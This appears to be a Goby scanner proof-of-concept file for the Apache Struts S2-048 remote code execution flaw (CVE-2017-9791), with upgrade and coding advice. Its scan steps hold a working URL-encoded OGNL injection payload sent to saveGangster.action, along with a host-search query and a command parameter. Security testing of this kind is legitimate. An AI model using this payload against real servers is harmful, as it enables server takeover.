{
  "Name": "Struts S2-048 2.3.x saveGangster.action RCE (CVE-2017-9791)",
  "Description": "The Struts 1 plugin in Apache Struts 2.1.x and 2.3.x might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.",
  "Product": "Struts2",
  "Homepage": "https://struts.apache.org/",
  "DisclosureDate": "2017-07-08",
  "Author": "872554564@qq.com",
  "FofaQuery": "app=\"Struts2\"", 
  "GobyQuery": "app=\"Struts2\"",
  "Level": "3",
  "Impact": "\u003cp\u003e攻击者可在服务器上执行任意命令，写入后门，入侵服务器，获取服务器的管理员权限，导致服务器被控制。\u003c/p\u003e",
  "Recommendation": "\u003cp\u003e官方解决方案：\u003c/p\u003e\u003cp\u003e官方已经发布了版本更新，建议用户升级到Struts 2.5.10.1版本，下载链接如下所示：\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://github.com/apache/struts/releases/tag/STRUTS_2_5_10_1\"\u003ehttps://github.com/apache/struts/releases/tag/STRUTS_2_5_10_1\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://struts.apache.org/download.cgi\"\u003ehttp://struts.apache.org/download.cgi\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003cbr\u003e\u003c/p\u003e\u003cp\u003e临时修复方案：（可能影响业务，修改之前请做好备份。）\u003c/p\u003e\u003cp\u003e1、开发者通过使用资源调用方式替代原始值传递方式给ActionMessage的方式。 如下所示：\u003c/p\u003e\u003cp\u003e\u003ccode\u003emessages.add(“msg”,\u0026nbsp;new\u0026nbsp;ActionMessage(“struts1.gangsterAdded”,\u0026nbsp;gform.getName()));\u003c/code\u003e\u003c/p\u003e\u003cp\u003e不要使用如下的方式：\u003c/p\u003e\u003cp\u003e\u003ccode\u003emessages.add(“msg”,\u0026nbsp;new\u0026nbsp;ActionMessage(“Gangster\u0026nbsp;”\u0026nbsp;+\u0026nbsp;gform.getName()\u0026nbsp;+\u0026nbsp;”\u0026nbsp;was\u0026nbsp;added”));\u003c/code\u003e\u003c/p\u003e\u003cp\u003e2、在非必要的情况下禁用struts2-struts1-plugin插件。将struts2-struts1-plugin-2.3.x.jar文件从 “/WEB-INF/lib”目录中移动到其他文件夹或者删除。\u003c/p\u003e",
  "References": [
    "https://cwiki.apache.org/confluence/display/WW/S2-048",
    "http://struts.apache.org/docs/s2-048.html",
    "http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html",
    "http://www.securityfocus.com/bid/99484",
    "http://www.securitytracker.com/id/1038838",
    "https://security.netapp.com/advisory/ntap-20180706-0002/",
    "https://www.exploit-db.com/exploits/42324/",
    "https://www.exploit-db.com/exploits/44643/",
    "https://nvd.nist.gov/vuln/detail/CVE-2017-9791",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9791"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "cmd",
      "type": "input",
      "value": "whoami",
      "show": ""
    }
  ],
  "ExpTips": {
    "Type": "Tips",
    "Content": ""
  },
  "ScanSteps": [
    "OR",
    {
      "Request": {
        "data": "name=%25%7B%28%23nikenb%3D%27multipart%2Fform-data%27%29.%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23o%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%29.%28%23o.println%28%27d4d85d5d36%27%2b%2706002e87ff%27%2b%27add1e049d0a6%27%29%29.%28%23o.close%28%29%29%7D\u0026age=2\u0026__checkbox_bustedBefore=true\u0026description=2",
        "data_type": "text",
        "follow_redirect": false,
        "header": {
          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
          "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3' -H 'Accept-Encoding gzip, deflate",
          "Connection": "keep-alive",
          "Content-Type": "application/x-www-form-urlencoded",
          "Upgrade-Insecure-Requests": "1",
          "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv54.0) Gecko/20100101 Firefox/54.0"
        },
        "method": "POST",
        "uri": "/struts2-showcase/integration/saveGangster.action"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "d4d85d5d3606002e87ffadd1e049d0a6",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      },
      "SetVariable": []
    },
    {
      "Request": {
        "data": "name=%25%7B%28%23nikenb%3D%27multipart%2Fform-data%27%29.%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23o%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%29.%28%23o.println%28%27d4d85d5d36%27%2b%2706002e87ff%27%2b%27add1e049d0a6%27%29%29.%28%23o.close%28%29%29%7D\u0026age=2\u0026__checkbox_bustedBefore=true\u0026description=2",
        "data_type": "text",
        "follow_redirect": false,
        "header": {
          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
          "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3' -H 'Accept-Encoding gzip, deflate",
          "Connection": "keep-alive",
          "Content-Type": "application/x-www-form-urlencoded",
          "Upgrade-Insecure-Requests": "1",
          "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv54.0) Gecko/20100101 Firefox/54.0"
        },
        "method": "POST",
        "uri": "/integration/saveGangster.action"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "d4d85d5d3606002e87ffadd1e049d0a6",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": null,
  "Tags": null,
  "CVEIDs": [
    "CVE-2017-9791"
  ],
  "CVSSScore": "9.8",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}